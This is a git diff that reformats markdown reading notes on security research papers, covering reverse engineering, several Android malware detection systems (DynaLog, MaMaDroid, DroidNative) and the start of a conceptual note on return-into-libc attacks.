[paper](http://reversingproject.info/project_repository/reversing_references/pdf/new_frontiers_of_reverse_engineering.pdf) -## What is your take-away message from this paper? +## What is your take-away message from this paper + This paper briefly presents an overview of the field of reverse engineering, reviews main achievements and areas of application, and highlights key open research issues for the future. +## What are motivations for this work + +### What is reverse engineering -## What are motivations for this work? -#### What is reverse engineering? The term *reverse engineering* was defined as: > the process of analyzing a subject system to > @@ -17,45 +18,56 @@ The term *reverse engineering* was defined as: > (ii) create representations of the system in another form or at a higher level of abstraction. So, the core of reverse engineering consists two parts: + 1. deriving information from the available software artifacts 2. translating the information into abstract representations more easily understandable by humans -#### Why we need reverse engineering? +### Why we need reverse engineering + Reverse engineering is a key supporting technology to deal with systems that have the source code as the only reliable representation. -#### Previous reverse engineering +### Previous reverse engineering + Reverse engineering has been traditionally viewed as a two step process: information extraction and abstraction. -![](../pic/8.13_tools_arch.png) +![img](../pic/8.13_tools_arch.png) -![](../pic/8.13_reengineering.png) +![img](../pic/8.13_reengineering.png) The discussion of the main achievements of reverse engineering in last 10 years is organized three main threads: + - program analysis and its applications - design recovery - software visualization -#### Program analysis and its applications +### Program analysis and its applications + Several analysis and transformation toolkits provide facilities for parsing the source code and performing rule-based transformations. + - alternative source code analysis approaches - extract fact even without the need for a thorough source code parsing, relevant information from the source code - incorporating reverse engineering techniques into development environments or extensible editors - deal with peculiarities introduced by object-oriented languages - deal with the presence of clones in software systems -#### Architecture and design recovery +### Architecture and design recovery + - the diffusion of object-oriented languages and UML introduced the need of reverse engineering UML models from source code - identifying design patterns into the source code aims at promoting reuse and assessing code quality - techniques using static analysis, dynamic analysis, and their combination, were proposed - the need for reverse engineering techniques tied to Web Applications -#### Visualization +### Visualization + Software visualization is a crucial step for reverse engineering. + - straightforward visualization: UML diagrams, state machines, CFGs - highlight relevant information at the right level of detail ## Future trends of reverse engineering -#### program analysis + +### program analysis + - high dynamicity - many programming languages widely used today allow for high dynamicity which make analysis more difficult - e.g. reflection in Java that can load classes at run-time @@ -66,6 +78,7 @@ Software visualization is a crucial step for reverse engineering. - a new, important research area So, Reverse engineering research has highlighted the dualism between static and dynamic analysis and the need to complement the two techniques, trying to exploit the advantages of both and limit their disadvantages. And recent years the third dimension named historical analysis added. + - static analysis - when it is performed, within a single system snapshot, on software artifacts without requiring their execution - must deal with different language variants and non-compilable code @@ -79,7 +92,8 @@ So, Reverse engineering research has highlighted the dualism between static and - historical analysis - when the aim is to gain information about the evolution of the system under analysis by considering the changes performed by developers to software artifacts, as recorded by versioning systems -#### design recovery +### design recovery + - design paradigms - a lot work needs to be done in particular for what regards the extraction of dynamic diagrams and also of OCL pre and post- conditions - new software architectures that have characteristics of being extremely dynamic, highly distributed, self-configurable and heterogeneous @@ -88,16 +102,20 @@ So, Reverse engineering research has highlighted the dualism between static and - the reverse engineering machinery should be able to learn from expert feedbacks to automatically produce results - e.g. machine learning, meta-heuristics and artificial intelligence -#### visualization +### visualization + Effective visualizations should be able to : + 1. show the right level of detail a particular user needs, and let the user choose to view an artifact at a deeper level or detail, or to have a coarse-grain, in-the-large, view 2. show the information in a form the user is able to understand. Simpler visualizations should be favored over more complex ones, like 3D or animations, when this does not necessarily bring additional information that cannot be visualized in a simpler way - ## Reverse engineering in emerging software development scenarios + The challenges for reverse engineering: + 1. on the one hand, the analysis of systems having high dynamism, distribution and heterogeneity and, on the other hand, support their development by providing techniques to help developers enable mechanisms such as automatic discovery and reconfiguration 2. the need for a full integration of reverse engineering with the development process, which will benefit from on-the-fly application of reverse engineering techniques while a developer is writing the code, working on a design model, etc. ## Final -![](../pic/8.13_role.png) + +![img](../pic/8.13_role.png) diff --git a/doc/8.14_detecting_memory_allocators.md b/doc/8.14_detecting_memory_allocators.md index 4cab45e..af74833 100644 --- a/doc/8.14_detecting_memory_allocators.md +++ b/doc/8.14_detecting_memory_allocators.md @@ -1,6 +1,5 @@ # 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries - [paper](https://www.cs.vu.nl/~herbertb/papers/membrush_wcre13.pdf) ## 简介 diff --git a/doc/8.15_emu_vs_real.md b/doc/8.15_emu_vs_real.md index d20459e..e5cf24e 100644 --- a/doc/8.15_emu_vs_real.md +++ b/doc/8.15_emu_vs_real.md @@ -1,48 +1,59 @@ # 8.15 EMULATOR vs REAL PHONE: Android Malware Detection Using Machine Learning - [paper](https://pure.qub.ac.uk/portal/files/127232616/IWSPA_codaspy_2017.pdf) -## What is your take-away message from this paper? +## What is your take-away message from this paper + The authors present an investigation of machine learning based malware detection using dynamic analysis on real devices. -## What are motivations for this work? -#### malware +## What are motivations for this work + +### malware + The rapid increase in malware numbers targeting Android devices has highlighted the need for efficient detection mechanisms to detect zero-day malware. -#### anti-emulator techniques +### anti-emulator techniques + Sophisticated Android malware employ detection avoidance techniques in order to hide their malicious activities from analysis tools. These include a wide range of anti-emulator techniques, where the malware programs attempt to hide their malicious activities by detecting the emulator. -## What is the proposed solution? ->Hence, we have designed and imple- mented a python-based tool to enable dynamic analysis using real phones to automatically extract dynamic features and potentially mitigate anti-emulation detection. Further- more, in order to validate this approach, we undertake a comparative analysis of emulator vs device based detection by means of several machine learning algorithms. We examine the performance of these algorithms in both environments after investigating the effectiveness of obtaining the run-time features within both environments. +## What is the proposed solution + +> Hence, we have designed and imple- mented a python-based tool to enable dynamic analysis using real phones to automatically extract dynamic features and potentially mitigate anti-emulation detection. Further- more, in order to validate this approach, we undertake a comparative analysis of emulator vs device based detection by means of several machine learning algorithms. We examine the performance of these algorithms in both environments after investigating the effectiveness of obtaining the run-time features within both environments. + +### phone based dynamic analysis and feature extraction -#### phone based dynamic analysis and feature extraction Since our aim is to perform experiments to compare emulator based detection with device based detection we need to extract features for the supervised learning fromboth environments. For the emulator based learning, we utilized the [DynaLog](https://arxiv.org/pdf/1607.08166.pdf) dynamic analysis framework. - emulator based: DynaLog provides the ability to instrument each application with the necessary API calls to be monitored, logged and extracted from the emulator during the run-time analysis. - device based: extended with a python-based tool - - push a list of contacts to the device SD card and then import them to populate the phone’s contact list. - - Discover and uninstall all third-party applications prior to installing the app under analysis. - - Check whether the phone is in airplane mode or not. - - Check the battery level of the phone. - - Outgoing call dialling using adb shell. - - Outgoing sms messages using adb shell. - - Populate the phone SD card with other assets. + - push a list of contacts to the device SD card and then import them to populate the phone’s contact list. + - Discover and uninstall all third-party applications prior to installing the app under analysis. + - Check whether the phone is in airplane mode or not. + - Check the battery level of the phone. + - Outgoing call dialling using adb shell. + - Outgoing sms messages using adb shell. + - Populate the phone SD card with other assets. -![](../pic/8.15_model.png) +![img](../pic/8.15_model.png) + +### Features extraction -#### Features extraction After using DynaLog, the outputs are pre-procesed into a file of feature vectors representing the features extracted from each application. Then use InfoGain feature ranking algorithm in WEKA to get the top 100 ranked features. -#### Machine learning classifiers +### Machine learning classifiers + The features were divided into file different sets to compare the performance using machine learning algorithms. -## What is the work's evaluation of the proposed solution? -#### Dataset ->The dataset used for the experiments consists of a total of 2444 Android applications. Of these, 1222 were malware samples obtained from 49 families of the Android malware genome project. The rest were 1222 benign samples obtained from Intel Security (McAfee Labs). +## What is the work's evaluation of the proposed solution + +### Dataset + +> The dataset used for the experiments consists of a total of 2444 Android applications. Of these, 1222 were malware samples obtained from 49 families of the Android malware genome project. The rest were 1222 benign samples obtained from Intel Security (McAfee Labs). + +### Machine learning algorithms -#### Machine learning algorithms The following algorithms were used in the experiments: + - Support Vector Machine (SVM-linear) - Naive Bayes (NB) - Simple Logistic (SL) @@ -51,44 +62,50 @@ The following algorithms were used in the experiments: - Random Forest (RF) - J48 Decision Tree. -#### Metrics +### Metrics + Five metrics were used for the performance emulation of the detection approaches. + - true positive rate (TPR) - true negative ratio (TNR) - false positive ratio (FPR) - false negative ratio (FNR) - weighted average F-measure. -#### Experiment 1: Emulator vs Device analysis and feature extraction +### Experiment 1: Emulator vs Device analysis and feature extraction -![](../pic/8.15_percentage.png) +![img](../pic/8.15_percentage.png) -#### Experiment 2: Emulator vs Device Machine learning detection comparison +### Experiment 2: Emulator vs Device Machine learning detection comparison -![](../pic/8.15_emulator.png) +![img](../pic/8.15_emulator.png) -![](../pic/8.15_phone.png) +![img](../pic/8.15_phone.png) ->Our experiments showed that several features were extractedmore effectively fromthe phone than the emulator using the same dataset. Furthermore, 23.8% more apps were fully analyzed on the phone compared to emulator. +> Our experiments showed that several features were extractedmore effectively fromthe phone than the emulator using the same dataset. Furthermore, 23.8% more apps were fully analyzed on the phone compared to emulator. This shows that for more efficient analysis the phone is definitely a better environment as far more apps crash when being analysed on the emulator. ->The results of our phone-based analysis obtained up to 0.926 F-measure and 93.1%TPR and 92%FPR with the RandomForest classifier and in general, phone-based results were better than emulator based results. +> The results of our phone-based analysis obtained up to 0.926 F-measure and 93.1%TPR and 92%FPR with the RandomForest classifier and in general, phone-based results were better than emulator based results. Thus we conclude that as an in- centive to reduce the impact of malware anti-emulation and environmental shortcomings of emulators which affect analysis efficiency, it is important to develop more effective ma- chine learning device based detection solutions. -## What is your analysis of the identified problem, idea and evaluation? +## What is your analysis of the identified problem, idea and evaluation + Countermeasures against anti-emulator are becoming increasingly important in Android malware detection. -## What are the contributions? +## What are the contributions + - Presented an investigation of machine learning based malware detection using dynamic analysis on real Android devices. - Implemented a tool to automatically extract dynamic features from Android phones. - Through several experiments we performed a comparative analysis of emulator based vs. device based detection by means of several machine learning algorithms. -## What are future directions for this research? ->Hence future work will aim to investigate more effective, larger scale device based machine learning solutions using larger sample datasets. Future work could also investigate alternative set of dynamic features to those utilized in this study. +## What are future directions for this research + +> Hence future work will aim to investigate more effective, larger scale device based machine learning solutions using larger sample datasets. Future work could also investigate alternative set of dynamic features to those utilized in this study. + +## What questions are you left with -## What questions are you left with? - How to make emulator environment more closer to real environment? - How to make more powerful dynamic analysis tools that can against anti-emulation techniques? - Why the difference in Android versions had no impact? diff --git a/doc/8.16_dynalog.md b/doc/8.16_dynalog.md index d1f1f98..f3b9009 100644 --- a/doc/8.16_dynalog.md +++ b/doc/8.16_dynalog.md @@ -1,75 +1,88 @@ # 8.16 DynaLog: An automated dynamic analysis framework for characterizing Android applications - [paper](https://pure.qub.ac.uk/portal/files/93998809/DynaLog_2016.pdf) -## What is your take-away message from this paper? +## What is your take-away message from this paper + The authors presented DynaLog, a framework that enable automated mass dynamic analysis of applications in order to characterize them for analysis and potential detection of malicious behaviour. -## What are motivations for this work? -#### Malware +## What are motivations for this work + +### Malware + - more then 5 million malware samples - signature-based AVs take up to 48day to detect new malware - sophisticated detection avoidance techniques such as obfuscation, and payload encryption making it more difficult -#### Current Methods' Limitations +### Current Methods' Limitations + - Static: detection avoidance by sophisticated obfuscation techniques, run-time loading of malicious payload. - Dynamic: are either closed source or can only be accessed by submitting apps online for analysis, which can also limit automated mass analysis of apps by analysts. -## What is the proposed solution? +## What is the proposed solution + DynaLog has several components: + 1. Emulator-based analysis sandbox 2. APK instrumentation module 3. behaviour/features logging and extraction 4. Application trigger/exerciser 5. Log parsing and processing scripts -![](../pic/8.16_architecture.png) +![img](../pic/8.16_architecture.png) + +### Dynamic analysis tool (DroidBox capabilities) -#### Dynamic analysis tool (DroidBox capabilities) - An open source tool used to extract some high level behaviour and characteristics by running the app on an Android device emulator or (AVD). - Extracts these behaviours from the logs dumped by logcat. - Uses Androguard to extract static meta-data relating to the app. - Utilizes Taintdroid for data leakage detection. - Used as a building block for several dynamic analysis tools. -#### Problems with Sandbox performance +### Problems with Sandbox performance + - Lack of complete code coverage. - Lack of complete traffic communication, server not found. - Real events need to trigger some malicious behaviour. -#### Extended Sandbox to overcome these issues by: +### Extended Sandbox to overcome these issues by + - Improving AVD emulator to behave like realistic devece - New scripts to improve code coverage -## What is the work's evaluation of the proposed solution? -#### Dataset ->We used 1226 real malware samples from 49 families of the Malgenome Project malware dataset. Furthermore, a set of 1000 internally vetted benign APKs from McAfee Labs were utilized. +## What is the work's evaluation of the proposed solution -#### Experiment 1: evaluating high level behaviour features +### Dataset -![](../pic/8.16_experiment.png) +> We used 1226 real malware samples from 49 families of the Malgenome Project malware dataset. Furthermore, a set of 1000 internally vetted benign APKs from McAfee Labs were utilized. -#### Experiment 2: evaluating extended features and sandbox enhancements within DynaLog +### Experiment 1: evaluating high level behaviour features -![](../pic/8.16_experiment2.png) +![img](../pic/8.16_experiment.png) -![](../pic/8.16_experiment3.png) +### Experiment 2: evaluating extended features and sandbox enhancements within DynaLog -#### Results +![img](../pic/8.16_experiment2.png) -![](../pic/8.16_result.png) +![img](../pic/8.16_experiment3.png) + +### Results + +![img](../pic/8.16_result.png) + +## What is your analysis of the identified problem, idea and evaluation -## What is your analysis of the identified problem, idea and evaluation? - DynaLog suffers from the same limitations of other dynamic analysis tools. - Sophisticated Android malware employ detection avoidance techniques in order to hide their malicious activities from analysis tools. - DynaLog does not log output from native code. -## What are the contributions? +## What are the contributions + - We present DynaLog, a dynamic analysis framework to enable automated analysis of Android applications. - We present extensive experimental evaluation of DynaLog using real malware samples and clean applications in order to validate the framework and measure its capability to enable identification of malicious behaviour through the extracted behavioural features. -## What are future directions for this research? +## What are future directions for this research + For future work we intend to develop and couple classification engines that can utilize the extensive features of DynaLog for accurate identification of malware samples. Furthermore, we intend to enhance the framework to improve its robustness against anti-analysis techniques employed by some malware whilst also incorporating new feature sets to improve the overall analysis and detection capabilities. -## What questions are you left with? +## What questions are you left with diff --git a/doc/8.17_actual_permissions.md b/doc/8.17_actual_permissions.md index ac33a3a..27166df 100644 --- a/doc/8.17_actual_permissions.md +++ b/doc/8.17_actual_permissions.md @@ -1,62 +1,67 @@ # 8.17 A Static Android Malware Detection Based on Actual Used Permissions Combination and API Calls - [paper](http://waset.org/publications/10005499) -## What is your take-away message from this paper? +## What is your take-away message from this paper + The paper put forward a machine learning detection method that based on the actually used Permissions Combination and API calls. +## What are motivations for this work + +### Android development -## What are motivations for this work? -#### Android development Current Android system has not any restrictions to the number of permissions that an application can request, developers tend to apply more than actually needed permissions in order to ensure the successful running of the application, which results in the abuse of permissions. -#### Current methods +### Current methods + Some traditional detection methods only consider the requested permissions and ignore whether it is actually used, which lead to incorrect identification of some malwares. +## What is the proposed solution -## What is the proposed solution? > We present a machine learning detection method which is based on the actually used permission combinations and API calls. -![](../pic/8.17_framework.png) +![img](../pic/8.17_framework.png) The framework contains mainly four parts: + 1. Extracting AndroidManifest.xml and Smali codes by Apktool. 2. Firstly, extracting the permissions that declared in AndroidManifest.xml. Secondly, extracting API calls through scanning Smali codes in according with the mapping relation between permissions and API, and get the actually used permissions. Finally, obtaining the actually used permissions combination based on the single permission. 3. Generating feature vector, each application is represented as an instance. 4. Using five machine learning classification algorithms, including J48, Random Forest, SVM, KNN and AdaboostM1, to realize the classification and evaluation for applications. +## What is the work's evaluation of the proposed solution + +### Data Set -## What is the work's evaluation of the proposed solution? -#### Data Set The authors collected a total of 2375 Android applications. the 1170 malware samples are composed of 23 families from genetic engineering. 1205 benign samples are from Google officail market. -#### Results ->We evaluate the classification performance of five different algorithms in terms of feature sets that have been extracted from applications, including API calls, permissions combination, the combination of actually used permissions combination and API calls, requested permissions. Inaddition, information gain and CFS feature selection algorithms are used to select the useful features to improve the efficiency of classifiers. +### Results + +> We evaluate the classification performance of five different algorithms in terms of feature sets that have been extracted from applications, including API calls, permissions combination, the combination of actually used permissions combination and API calls, requested permissions. Inaddition, information gain and CFS feature selection algorithms are used to select the useful features to improve the efficiency of classifiers. From the feature extraction, there is some differences between requested permissions and actually used permissions, it is imporant to improve the efficiency: -![](../pic/8.17_different.png) +![img](../pic/8.17_different.png) The experiments show that the feature of actually used permissions combination an API calls can achieve better performance: -![](../pic/8.17_result.png) +![img](../pic/8.17_result.png) +## What is your analysis of the identified problem, idea and evaluation -## What is your analysis of the identified problem, idea and evaluation? The main idea of the paper is useing actually uesd permissions instead of declared permissons. But PScout can't get the whole mapping of permissons and API calls. This can make some errors. +## What are the contributions -## What are the contributions? 1. Presented an Android malware detection method. 2. Various machine learning algorithms, feature selection methods and experimental samples are used to validate the efficiency. 3. The method can improve the performance of classifiers significantly and is more accurate than before methods. +## What are future directions for this research -## What are future directions for this research? - More useful characteristics could be extracted to achieve better results. - Integration of multiple classifiers could be used to improve the identification of classifiers. +## What questions are you left with -## What questions are you left with? Why not evaluate the performance of classifiers obtained when using the combination of declared permissions combination and API calls? diff --git a/doc/8.18_malware_markov.md b/doc/8.18_malware_markov.md index f424cfb..ce3f657 100644 --- a/doc/8.18_malware_markov.md +++ b/doc/8.18_malware_markov.md @@ -1,96 +1,105 @@ # 8.18 MaMaDroid: Detecting Android malware by building Markov chains of behavioral models - [paper](http://discovery.ucl.ac.uk/1532047/1/Stringhini_mamadroid.pdf) -## What is your take-away message from this paper? +## What is your take-away message from this paper + This paper presented an Android malware detection system based on modeling the sequences of API calls as Markov chains. +## What are motivations for this work + +### Android & Malware -## What are motivations for this work? -#### Android & Malware Now making up 85% of mobile devices, Android smartphones have become profitable targets for cybercriminals, allowing them to bypass two factor authentication or steal sensitive information. -#### Current Defenses +### Current Defenses + - Smartphones have limited battery, making it infeasible to use traditional approaches. - Google Play Store is not able to detect all malicious apps. - Previous malware detection studies focused on models based on permissions or on specific API calls. The first is prone to false positives and the latter needs constant retraining. -#### The Idea +### The Idea + While malicious and begign apps may call the same API calls during their execution, but being called in a different order. +## What is the proposed solution -## What is the proposed solution? ->We present a novel malware detection system for Android that instead relies on the *sequence* of *abstracted* API calls performed by an app rather than their use or frequency, aiming to capture the behavioral model of the app. +> We present a novel malware detection system for Android that instead relies on the *sequence* of *abstracted* API calls performed by an app rather than their use or frequency, aiming to capture the behavioral model of the app. MaMaDroid is build by combining four different phases: + - Call graph extraction: starting from the apk file of an app, we extract the call graph of the analysed sample. - Sequence extraction: from the call graph, we extract the different potential paths as sequences of API calls and abstract all those calls to higher levels. - Markov Chain modelling: all the samples got their sequences of abstracted calls, and these sequences can be modelled as transitions among states of a Markov Chain. - Classification: Given the probabilities of transition between states of the chains as features set, we apply machine learning to detect malicious apps. -![](../pic/8.18_overview.png) +![img](../pic/8.18_overview.png) + +### Call Graph Extraction -#### Call Graph Extraction Static analysis apk using the [Soot](https://sable.github.io/soot/) framework to extract call graphs and [FlowDroid](https://blogs.uni-paderborn.de/sse/tools/flowdroid/) to ensure contexts and flows are preserved. -#### Sequence Extraction +### Sequence Extraction + Taking the call graph as input, it extract the sequences of functions potentially called by the program and, by identifies a set of entry nodes, enumerates the paths and output them as sequences of API calls. ->The set of all paths identified during this phase constitute the sequences of API calls which will be used to build a Markov chain behavioural model and to extract features. +> The set of all paths identified during this phase constitute the sequences of API calls which will be used to build a Markov chain behavioural model and to extract features. The system operate in one of two modes by abstracting each call to either its package or family. + - in package mode: abstract an API call to its package name using the list of Android packages (includes 243 packages, 95 from the Google API, plus self-defined and obfuscated packages). - in family mode: abstract to nine possible families (android, google, java, javax, xml, apache, junit, json, dom) or developer-defined (self-defined) and obfuscated (obfuscated) packages. ->This allows the system to be resilient to API changes and achieve scalability. In fact, our experiments, presented in section III, show that, from a dataset of 44K apps, we extract more than 10 million unique API calls, which would result in a very large number of nodes, with the corresponding graphs (and feature vectors) being quite sparse. +> This allows the system to be resilient to API changes and achieve scalability. In fact, our experiments, presented in section III, show that, from a dataset of 44K apps, we extract more than 10 million unique API calls, which would result in a very large number of nodes, with the corresponding graphs (and feature vectors) being quite sparse. + +### Markov Chain Modeling -#### Markov Chain Modeling Now it builds a Markov chain where each package/family is a state and the transitions represent the probability of moving from one state to another. -![](../pic/8.18_sequence.png) +![img](../pic/8.18_sequence.png) -![](../pic/8.18_markov.png) +![img](../pic/8.18_markov.png) ->Next, we use the probabilities of transi-tioning from one state (abstracted call) to another in the Markov chain as the feature vector of each app. States that are not present in a chain are represented as 0 in the feature vector. Also note that the vector derived from the Markov chain depends on the operational mode of MAMADROID. With families, there are 11 possible states, thus 121 possible transitions in each chain, while, when abstracting to packages, there are 340 states and 115,600 possible transitions. +> Next, we use the probabilities of transi-tioning from one state (abstracted call) to another in the Markov chain as the feature vector of each app. States that are not present in a chain are represented as 0 in the feature vector. Also note that the vector derived from the Markov chain depends on the operational mode of MAMADROID. With families, there are 11 possible states, thus 121 possible transitions in each chain, while, when abstracting to packages, there are 340 states and 115,600 possible transitions. The authors also experiment with applying PCA (Principle Component Analysis) to reduce the feature space. -#### Classification +### Classification + The phase uses Machine Learning algorithms: Random Forests, 1-NN, 3-NN and SVM. The last one was discarded as it was slower and less accurate in classification than the other ones. +## What is the work's evaluation of the proposed solution -## What is the work's evaluation of the proposed solution? The authors gathered a collection of 43,490 Android apps, 8,447 benign and 35,493 malware apps. This included a mix of apps from October 2010 to May 2016, enabling the robustness of classification over time to be explored. - The authors used the F-Measure to evaluate our system through 3 different kinds of tests: testing on samples from the same databases of the training set, testing on newer samples than the ones used for the training set, and testing on older samples than the ones used for the training set. +The authors used the F-Measure to evaluate our system through 3 different kinds of tests: testing on samples from the same databases of the training set, testing on newer samples than the ones used for the training set, and testing on older samples than the ones used for the training set. - ![](../pic/8.18_fmeasure.png) +![img](../pic/8.18_fmeasure.png) - >As Android evolves over the years, so do the characteristics of both benign and malicious apps. Such evolution must be taken into account when evaluating Android malware detection systems, since their accuracy might significantly be affected as newer APIs are released and/or as malicious developers modify their strategies in order to avoid detection. Evaluating this aspect constitutes one of our research questions, and one of the reasons why our datasets span across multiple years (2010–2016). +> As Android evolves over the years, so do the characteristics of both benign and malicious apps. Such evolution must be taken into account when evaluating Android malware detection systems, since their accuracy might significantly be affected as newer APIs are released and/or as malicious developers modify their strategies in order to avoid detection. Evaluating this aspect constitutes one of our research questions, and one of the reasons why our datasets span across multiple years (2010–2016). - Testing on samples newer than the training ones (figure below, on the left) helps understanding if the system is resilient to changes in time, or if it needs constant retraining. +Testing on samples newer than the training ones (figure below, on the left) helps understanding if the system is resilient to changes in time, or if it needs constant retraining. - ![](../pic/8.18_fmeasure2.png) +![img](../pic/8.18_fmeasure2.png) - It also set to verify whether older malware samples can still be detected, with similar F-measure scores across the years ranging from 95-97% in package mode. +It also set to verify whether older malware samples can still be detected, with similar F-measure scores across the years ranging from 95-97% in package mode. +## What is your analysis of the identified problem, idea and evaluation -## What is your analysis of the identified problem, idea and evaluation? As both Android malware and the operating system itself constantly evolve, it is very challenging to design robust malware mitigation techniques that can operate for long periods of time without the need for modifications or costly re-training. The system abstractes to families or packages makes it less susceptible to the introduction of new API calls. It's a great idea and be proved to have good performance. But the system might be evaded through repackaging benign apps, or make a new app by imitating the Markov chains of benign apps. +## What are the contributions -## What are the contributions? ->First, we introduce a novel approach, implemented in a tool called MAMADROID, to detect Android malware by abstracting API calls to their package and family, and using Markov chains to model the behavior of the apps through the sequences of API calls. Second, we can detect unknown samples on the same year of training with an F-measure of 99%, but also years after training the system, meaning that MAMADROID does not need continuous re-training. Our system is scalable as we model every single app independently from the others and can easily append app features in a new training set. Finally, compared to previous work [2], MAMADROID achieves significantly higher accuracy with reasonably fast running times, while also being more robust to evolution in malware development and changes in the Android API. +> First, we introduce a novel approach, implemented in a tool called MAMADROID, to detect Android malware by abstracting API calls to their package and family, and using Markov chains to model the behavior of the apps through the sequences of API calls. Second, we can detect unknown samples on the same year of training with an F-measure of 99%, but also years after training the system, meaning that MAMADROID does not need continuous re-training. Our system is scalable as we model every single app independently from the others and can easily append app features in a new training set. Finally, compared to previous work [2], MAMADROID achieves significantly higher accuracy with reasonably fast running times, while also being more robust to evolution in malware development and changes in the Android API. +## What are future directions for this research -## What are future directions for this research? In the future the authors plan to work on exploring and testing in deep MaMaDroid’s resilience to the main evasion techniques, to try more fine-grained abstractions and seed with dynamic analysis. +## What questions are you left with -## What questions are you left with? What are the stable things with Android system updating, whether they can be used for malware detection and, how to keep accuray and stability for a long time? diff --git a/doc/8.19_droidnative.md b/doc/8.19_droidnative.md index 993b352..df3a55a 100644 --- a/doc/8.19_droidnative.md +++ b/doc/8.19_droidnative.md @@ -1,17 +1,19 @@ # 8.19 DroidNative: Semantic-Based Detection of Android Native Code Malware - [paper](http://pages.cs.wisc.edu/~vrastogi/static/papers/aqrcr17.pdf) -## What is your take-away message from this paper? +## What is your take-away message from this paper + The paper proposed DroidNative for detection of both bytecode and native code Android malware variants. +## What are motivations for this work + +### native code -## What are motivations for this work? -#### native code A recent study shows that 86% of the most popular Android applications contain native code. -#### current methods +### current methods + the plethora of more sophisticated detectors making use of static analysis techniques to detect such variants operate only at the bytecode level, meaning that malware embedded in native code goes undetected. - No coverage of Android native binary code. @@ -19,71 +21,81 @@ the plethora of more sophisticated detectors making use of static analysis techn - Heuristics used are very specific to malware programs, and hence are not scalable. - Slow runtimes, can not be used in a practical system. +## What is the proposed solution -## What is the proposed solution? ->This paper introduces DroidNative, a malware detection system for Android that operates at the native code level and is able to detect malware in either bytecode or native code. DroidNative performs static analysis of the native code and focuses on patterns in the control flow that are not significantly impacted by obfuscations. DroidNative is not limited to only analyzing native code, it is also able to analyze bytecode by making use of the Android runtime (ART) to compile bytecode into native code suitable for analysis. The use of control flow with patterns enables DroidNative to detect smaller size malware, which allows DroidNative to reduce the size of a signature for optimizing the detection time without reducing the DR. +> This paper introduces DroidNative, a malware detection system for Android that operates at the native code level and is able to detect malware in either bytecode or native code. DroidNative performs static analysis of the native code and focuses on patterns in the control flow that are not significantly impacted by obfuscations. DroidNative is not limited to only analyzing native code, it is also able to analyze bytecode by making use of the Android runtime (ART) to compile bytecode into native code suitable for analysis. The use of control flow with patterns enables DroidNative to detect smaller size malware, which allows DroidNative to reduce the size of a signature for optimizing the detection time without reducing the DR. + +### MAIL -#### MAIL DroidNative uses MAIL (Malware Analysis Intermediate Language) to provide an abstract representation of an assembly program, and that representation is used for malware analysis and detection. -![](../pic/8.19_overview.png) +![img](../pic/8.19_overview.png) + +### Disassembler -#### Disassembler - A challenge is ensuring that all code is found and disassembled. - - To overcome the dificiencies of linear sweep and recursive traversal we combine these two techniques while disassembling. + - To overcome the dificiencies of linear sweep and recursive traversal we combine these two techniques while disassembling. - Another challenge is that most binaries used in Android are stripped, meaning they do not include debugging or symbolic information. - - We handle this problem by building control flow patterns and use them for malware detection. + - We handle this problem by building control flow patterns and use them for malware detection. + +### Optimizer -#### Optimizer Removing other instructions that are not required for malware analysis. DroidNative builds multiple, smaller, interwoven CFGs for a program instead of a single, large CFG. -#### MAIL Generation +### MAIL Generation + The MAIL Generator translates an assembly program to a MAIL program. -#### Malware Detection +### Malware Detection + - Data Miner: searches for the control and structural information in a MAIL program - Signature Generator: builds a behavioral signature (ACFG or SWOD) of the MAIL program. - Similarity Detector: matches the signature of the program against the signatures of the malware templates extracted during the training phase, and determines whether the application is malware based on thresholds that are computed empirically. -#### ACFG +### ACFG + A CFG is built for each function in the an- notated MAIL program, yielding the ACFGs. -![](../pic/8.19_acfg.png) +![img](../pic/8.19_acfg.png) + +### SWOD -#### SWOD Each MAIL pattern is assigned a weight based on the SWOD that represents the differences between malware and benign samples’ MAIL patterns’ distributions. -![](../pic/8.19_swod.png) +![img](../pic/8.19_swod.png) +## What is the work's evaluation of the proposed solution -## What is the work's evaluation of the proposed solution? -#### Dataset ->Our dataset for the experiments consists of total 2240 Android applications. Of these, 1240 are Android malware programs collected from two different resources and the other 1000 are benign programs containing Android 5.0 system programs, libraries and standard applications. +### Dataset + +> Our dataset for the experiments consists of total 2240 Android applications. Of these, 1240 are Android malware programs collected from two different resources and the other 1000 are benign programs containing Android 5.0 system programs, libraries and standard applications. + +### N-Fold Cross Validation -#### N-Fold Cross Validation The authors use n-flod cross validation to estimate the performance and define the following evaluation metrics: DR, FPR, ROC, AUC. -![](../pic/8.19_roc_graph.png) +![img](../pic/8.19_roc_graph.png) +## What is your analysis of the identified problem, idea and evaluation -## What is your analysis of the identified problem, idea and evaluation? This is the first research effort to detect malware deal with the native code. It shows sperior results for the detection of Android native code and malware variants compared to the other research efforts and the commercial tools. But there are some limitations: + - requires that the application's malicious code be available for static analysis. - excels at detecting variants of malware that has been previously seen, and may not be able to detect true zero-day malware. - may not be able to detect a malware employing excessive flow obfuscations. - the pattern matching may fail if the malware variant obfuscates a statement in a basic block. +## What are the contributions -## What are the contributions? - DroidNative is the first system that builds and designs cross-platform signatures for Android and operates at the native code level, allowing it to detect malware embedded in either bytecode or native code. - DroidNative is faster than existing systems, making it suitable for real-time analysis. +## What are future directions for this research -## What are future directions for this research? ->To improve DroidNative’s resilient to such obfuscations, in the future we will use a threshold for pattern matching. We will also investigate other pattern matching techniques, such as a statement dependency graph or assigning one pattern to multiple statements of different type etc, to improve this resiliency. +> To improve DroidNative’s resilient to such obfuscations, in the future we will use a threshold for pattern matching. We will also investigate other pattern matching techniques, such as a statement dependency graph or assigning one pattern to multiple statements of different type etc, to improve this resiliency. +## What questions are you left with -## What questions are you left with? There are many other programming languages (JavaScript/Python/...) can be used for Android app development. How to detect malware written in those languages? diff --git a/doc/8.1_ret2libc_without_calls.md b/doc/8.1_ret2libc_without_calls.md index cbefaf1..bbbd462 100644 --- a/doc/8.1_ret2libc_without_calls.md +++ b/doc/8.1_ret2libc_without_calls.md @@ -1,14 +1,15 @@ # 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) - [paper](https://hovav.net/ucsd/dist/geometry.pdf) ## 简介 + 论文提出了一种 return-into-libc 的攻击方法,以对抗针对传统代码注入攻击的防御技术(W⊕X)。它不会调用到完整的函数,而是通过将一些被称作 gadgets 的指令片段组合在一起,形成指令序列,以达到任意代码执行的效果。这一技术为返回导向编程(Return-Oriented Programming)奠定了基础。 - ## 背景 + 对于一个攻击者,它要完成的任务有两个: + 1. 首先它必须找到某种方法来改变程序的执行流 2. 然后让程序执行攻击者希望的操作 @@ -19,20 +20,22 @@ 